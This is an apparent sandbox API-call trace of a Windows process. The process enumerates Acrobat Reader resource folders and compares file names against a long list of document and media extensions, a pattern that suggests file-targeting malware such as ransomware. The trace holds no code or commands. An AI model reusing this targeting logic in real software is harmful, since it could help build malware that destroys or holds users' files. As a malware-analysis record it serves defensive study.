	[0178.400] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".dcm") returned 4
	[0178.400] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".dcr") returned 4
	[0178.400] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0178.400] lstrlenW (lpString=".der") returned 4
	[0178.401] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0178.401] lstrlenW (lpString=".dib") returned 4
	[0178.401] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0178.401] lstrlenW (lpString=".dic") returned 4
	[0178.401] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0178.401] lstrlenW (lpString=".dif") returned 4
	[0178.401] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0178.401] lstrlenW (lpString=".divx") returned 5
	[0178.401] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0178.401] lstrlenW (lpString=".djvu") returned 5
	[0178.401] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0178.401] lstrlenW (lpString=".dng") returned 4
	[0178.401] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0178.401] lstrlenW (lpString=".doc") returned 4
	[0178.401] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0178.401] lstrlenW (lpString=".docm") returned 5
	[0178.401] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0178.401] lstrlenW (lpString=".docx") returned 5
	[0178.401] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0178.401] lstrlenW (lpString=".dot") returned 4
	[0178.401] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0178.401] lstrlenW (lpString=".dotm") returned 5
	[0178.401] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0178.401] lstrlenW (lpString=".dotx") returned 5
	[0178.401] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0178.401] lstrlenW (lpString=".dpx") returned 4
	[0178.401] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0178.401] lstrlenW (lpString=".dqy") returned 4
	[0178.401] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0178.401] lstrlenW (lpString=".dsn") returned 4
	[0178.401] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0178.401] lstrlenW (lpString=".dt") returned 3
	[0178.401] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0178.401] lstrlenW (lpString=".dtd") returned 4
	[0178.402] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0178.402] lstrlenW (lpString=".dwg") returned 4
	[0178.402] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0178.402] lstrlenW (lpString=".dwt") returned 4
	[0178.402] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0178.402] lstrlenW (lpString=".dx") returned 3
	[0178.402] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0178.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.402] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0178.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.402] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0178.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.402] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0178.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.403] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0178.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.403] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0178.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.403] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0178.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.403] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0178.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.404] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0178.404] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.404] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0178.404] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.404] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0178.404] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.404] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0178.404] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.404] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0178.404] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.404] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0178.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.405] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0178.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.405] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0178.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.405] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0178.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.405] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0178.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.405] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0178.406] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.406] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0178.406] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.406] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0178.406] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.406] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0178.407] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.408] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0178.408] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.408] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0178.408] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.408] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf08429ae, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf08429ae, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf08429ae, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0178.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.409] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0178.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.409] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0178.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.409] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0178.409] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.410] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0178.410] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.410] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0178.410] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.410] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0178.410] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0178.410] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0178.410] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0178.410] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0178.410] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0178.412] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="viewer", cAlternateFileName="")) returned 0
	[0178.412] FindClose (in: hFindFile=0x5ba530 | out: hFindFile=0x5ba530) returned 1
	[0178.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0178.415] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0178.415] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0178.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0178.416] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec3eea2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec3eea2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec3eea2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="walk-through", cAlternateFileName="WALK-T~1")) returned 1
	[0178.416] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\walk-through") returned 107
